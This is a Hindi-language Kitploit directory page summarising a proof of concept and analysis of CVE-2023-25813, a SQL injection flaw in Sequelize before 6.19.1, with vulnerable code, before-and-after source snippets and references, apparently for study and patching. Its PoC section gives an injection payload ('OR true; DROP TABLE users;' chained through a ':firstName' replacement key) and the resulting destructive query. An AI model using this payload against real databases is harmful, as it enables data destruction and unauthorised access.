Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Sequelize-1day-CVE-2023-25813 — # CVE-2023-25813 का प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण Sequelize ORM के 6.19.1 से पहले के संस्करणों में SQL इंजेक्शन भेद्यता, जिसमें शोषण विवरण और पैच जानकारी शामिल है। | Kitploit
उपकरण/GitHubGitHub/bde574786/sequelize-1day-cve-2023-25813
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटाबेस सुरक्षा
GitHubbde574786/sequelize-1day-cve-2023-25813

Sequelize-1day-CVE-2023-25813

# CVE-2023-25813 का प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण Sequelize ORM के 6.19.1 से पहले के संस्करणों में SQL इंजेक्शन भेद्यता, जिसमें शोषण विवरण और पैच जानकारी शामिल है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
31 साल पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2023-25813

CVE जानकारी

  • CVE नंबर: CVE-2023-25813
  • विवरण: Sequelize < 6.19.1 संस्करण में, replacements विकल्प के माध्यम से पारित इनपुट मान उचित रूप से एस्केप नहीं किए जाते हैं, जिससे विशिष्ट क्वेरी कॉन्फ़िगरेशन के आधार पर SQL इंजेक्शन हो सकता है।
  • कमजोरी का दायरा: Sequelize 6.19.0 और उससे कम संस्करण
  • पैच संस्करण: 6.19.1
  • CVSS स्कोर
    • NIST मानक: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
    • GitHub (CNA) मानक: 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

पुनरुत्पादन वातावरण

  • Node.js
  • Sequelize v6.19.0
  • MySQL

Sequelize अवलोकन

Sequelize Node.js में उपयोग किया जाने वाला ORM (Object-Relational Mapping) लाइब्रेरी में से एक है। ORM एक तकनीक है जो ऑब्जेक्ट और रिलेशनल डेटाबेस के बीच स्वचालित रूपांतरण को स्वचालित करती है, जिससे SQL क्वेरी सीधे लिखे बिना ऑब्जेक्ट के माध्यम से डेटाबेस रिकॉर्ड को खोजा, बनाया, संशोधित और हटाया जा सकता है।

root@kitploit:~
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);

Replacements उपयोग विधि

replacements Sequelize में रॉ SQL क्वेरी या ORM विधियों का उपयोग करते समय, उपयोगकर्ता इनपुट मानों को SQL में सुरक्षित रूप से सम्मिलित करने के लिए एक बाइंडिंग तंत्र है। इसका उपयोग SQL इंजेक्शन को रोकने के लिए एक प्रमुख साधन के रूप में किया जाता है।

root@kitploit:~
// स्थिति-आधारित बाइंडिंग
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
  replacements: ['active'],
});

// कुंजी-आधारित बाइंडिंग
await sequelize.query(
  'SELECT * FROM users WHERE name = :name AND age = :age',
  {
    replacements: {
      name: 'Alice',
      age: 25
    }
  }
);

कमजोरी का अवलोकन

Sequelize उपयोगकर्ता इनपुट मानों को SQL में सुरक्षित रूप से बाइंड करने के लिए replacements विकल्प प्रदान करता है। हालाँकि, Sequelize 6.19.1 से पहले के संस्करणों में, ORM विधियों का उपयोग करते समय, replacements के माध्यम से बाइंड करने के बावजूद, आंतरिक SQL निर्माण और प्रतिस्थापन क्रम की समस्या के कारण SQL इंजेक्शन हो सकता है।

PoC

नीचे एक Sequelize कोड उदाहरण है जिसमें कमजोरी होती है। literal और replacements के संयोजन का उपयोग करने की स्थिति में SQL इंजेक्शन हो सकता है।

root@kitploit:~
User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})

हमलावर replacements में निम्नलिखित इनपुट मान इंजेक्ट करके क्वेरी संरचना को तोड़ सकता है।

root@kitploit:~
{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}

replacements कुंजी (:firstName) को मान में फिर से सम्मिलित करके, बाइंडिंग कुंजी को एक बार और जोड़ने की संरचना है।

root@kitploit:~
SELECT * FROM users 
WHERE soundex("firstName") = soundex(:firstName) 
	OR "lastName" = ':firstName'

अंतिम पूर्ण क्वेरी नीचे दी गई है। हालाँकि, यह क्वेरी संरचनात्मक रूप से स्पष्ट रूप से यह निर्धारित करना कठिन बनाती है कि इसे निष्पादित किया जाएगा या नहीं, और SQL पार्सर की व्याख्या और DB सेटिंग्स के आधार पर निष्पादन परिणाम भिन्न हो सकता है। कुछ वातावरणों में इसे एक सामान्य सिंटैक्स त्रुटि के रूप में माना जाता है, लेकिन सेटिंग्स के आधार पर, यह एक खतरनाक संरचना है जो अनपेक्षित SQL कमांड को निष्पादित कर सकती है।

root@kitploit:~
SELECT * FROM users 
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') 
	OR "lastName" = ''OR true; DROP TABLE users;''

यदि SQL पार्सर मल्टी-क्वेरी की अनुमति देने वाले वातावरण में है, तो एक बाइंडिंग से तालिका को हटाया जा सकता है। image.png

कमजोरी का कारण

Sequelize literal फ़ंक्शन में डाले गए स्ट्रिंग को एक विश्वसनीय SQL खंड मानता है और इसे एस्केप नहीं करता है। इसलिए, वह स्ट्रिंग SQL क्वेरी में ज्यों की त्यों डाली जाती है, और यदि उसमें :param रहता है तो भी इसे बिना किसी प्रसंस्करण के छोड़ दिया जाता है। जैसा कि नीचे दिखाया गया है, replacements एक ऐसा तरीका है जो SQL के पूरी तरह से स्ट्रिंग के रूप में इकट्ठा होने के बाद, निष्पादन से ठीक पहले बचे हुए :param टोकन को ढूंढकर बदलता है। इसलिए, पहले से निर्धारित संरचना वाले SQL के अंदर उपयोगकर्ता इनपुट सीधे डाला जाता है, जिससे पूरी क्वेरी की संरचना टूट जाती है और कमजोरी उत्पन्न होती है।

root@kitploit:~
// sequelize-6.19.0/src/sequelize.js

if (options.replacements) {
      if (Array.isArray(options.replacements)) {
        sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
      } else {
        sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
      }
    }

पैच

injectReplacements को परिभाषित करके, केवल सिंटैक्टिक रूप से सुरक्षित स्थानों पर बाइंडिंग की अनुमति देने के लिए बदल दिया गया है।

root@kitploit:~
// sequelize-6.19.1/src/sequelize.js

if (options.replacements) {
  if (Array.isArray(options.replacements)) {
    sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
  } else {
    sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
  }
  sql = injectReplacements(sql, this.dialect, options.replacements);
}

संदर्भ

  • https://github.com/sequelize/sequelize/issues/9410
  • https://github.com/advisories/GHSA-wrh9-cjv3-2hpw
  • https://github.com/sequelize/sequelize/compare/v6.19.0...v6.19.1
टूल डाउनलोड करें